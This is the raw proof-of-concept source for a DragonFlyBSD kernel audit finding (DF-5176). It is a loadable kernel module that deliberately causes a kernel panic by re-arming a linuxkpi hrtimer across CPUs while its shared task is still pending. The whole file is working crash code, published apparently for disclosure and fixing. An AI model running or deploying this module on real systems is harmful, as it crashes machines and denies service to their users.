⬢ DragonFlyBSD Kernel Audit
DF-5176 / df5176.c
← back to finding ↓ download raw
/*
 * DF-5176 PoC — linuxkpi hrtimer shim: cross-CPU re-arm while the previous
 * expiry's task is still pending on another CPU's taskqueue_thread.
 *
 * The shim arms the DF systimer on the *calling* CPU
 * (hrtimer_start_range_ns -> systimer_init_oneshot, linux_hrtimer.c:115)
 * and __hrtimer_function enqueues the ONE shared timer->task on the
 * *firing* CPU's taskqueue_thread[mycpuid] (linux_hrtimer.c:37).
 *
 * Re-arming the timer from a different CPU while the previous fire's task
 * is still pending moves that shared task between per-CPU queues, which
 * subr_taskqueue.c:185-188 explicitly forbids ("DO NOT SHARE the task
 * between CPUs. TASKS ARE NOT LOCKED").  taskqueue_enqueue_locked() then
 * trips KKASSERT(queue == task->ta_queue) (subr_taskqueue.c:206) ->
 * kernel panic.
 *
 * Deterministic recipe (no race needed):
 *   1. taskqueue_block(taskqueue_thread[0])   - keep the task pending
 *   2. [cpu0] hrtimer_start(1ms)              - fires, task pending on q0
 *   3. [cpu1] hrtimer_start(2ms)              - legal per Linux API;
 *                                               old systimer already fired
 *   4. fire on cpu1 -> taskqueue_enqueue(q1, task) with ta_queue == q0
 *      -> KKASSERT panic
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/thread.h>
#include <sys/globaldata.h>
#include <sys/thread2.h>
#include <sys/taskqueue.h>
#include <linux/hrtimer.h>

static struct hrtimer poc_timer;
static volatile int cb_count;

static volatile int phase;
static volatile int done0, done1;

#define WAIT_FOR(v)	do { while (!(v)) tsleep(&v, 0, "df5176w", 1); } while (0)

static enum hrtimer_restart
poc_cb(struct hrtimer *t)
{
	cb_count++;
	return HRTIMER_NORESTART;
}

static void
thr0(void *arg)
{
	hrtimer_start(&poc_timer, 1000000ULL, HRTIMER_MODE_REL);
	done0 = 1;
	lwkt_exit();
}

static void
thr1(void *arg)
{
	hrtimer_start(&poc_timer, 2000000ULL, HRTIMER_MODE_REL);
	done1 = 1;
	lwkt_exit();
}

static void
run_df5176(void)
{
	thread_t td;
	int attempt;

	memset(&poc_timer, 0, sizeof(poc_timer));
	hrtimer_init(&poc_timer, CLOCK_MONOTONIC, HRTIMER_MODE_REL);
	poc_timer.function = poc_cb;

	/* keep cpu0's thread taskqueue from running the pending task */
	taskqueue_block(taskqueue_thread[0]);

	for (attempt = 1; attempt <= 5; attempt++) {
		kprintf("[df5176] attempt %d: arming on cpu0 (1ms)\n", attempt);

		lwkt_create(thr0, NULL, &td, NULL, TDF_NOSTART, 0,
		    "df5176a");
		lwkt_schedule(td);
		WAIT_FOR(done0);
		/* let the systimer fire; the task gets enqueued on q0 and,
		 * with the queue blocked, stays pending (ta_pending == 1) */
		tsleep(&poc_timer, 0, "df5176a", hz / 20);

		kprintf("[df5176] task ta_pending=%u ta_queue %s q0\n",
		    poc_timer.task.ta_pending,
		    poc_timer.task.ta_queue == taskqueue_thread[0] ?
		    "==" : "!=");
		if (poc_timer.task.ta_pending == 0) {
			kprintf("[df5176] task already ran, retrying\n");
			continue;
		}

		/* Re-arm from cpu1: legal hrtimer API use (the timer is not
		 * armed anymore - it fired - so this does NOT rely on
		 * DF-2175's re-init-on-armed corruption). */
		kprintf("[df5176] re-arming from cpu1 (2ms)\n");
		lwkt_create(thr1, NULL, &td, NULL, TDF_NOSTART, 1,
		    "df5176b");
		lwkt_schedule(td);
		WAIT_FOR(done1);

		/* fire on cpu1 -> __hrtimer_function ->
		 * taskqueue_enqueue(taskqueue_thread[1], &poc_timer.task)
		 * with the task still pending on q0 -> KKASSERT panic */
		tsleep(&poc_timer, 0, "df5176b", hz / 5);

		kprintf("[df5176] no panic this attempt (ta_pending=%u), "
		    "retrying\n", poc_timer.task.ta_pending);
	}

	taskqueue_unblock(taskqueue_thread[0]);
	kprintf("[df5176] FAILED to trigger - no panic\n");
}

static int
df5176_load(struct module *m, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		run_df5176();
		return 0;
	default:
		return 0;
	}
}

static moduledata_t df5176_mod = { "df5176", df5176_load, NULL };
MODULE_DEPEND(df5176, drm, 1, 1, 1);
DECLARE_MODULE(df5176, df5176_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);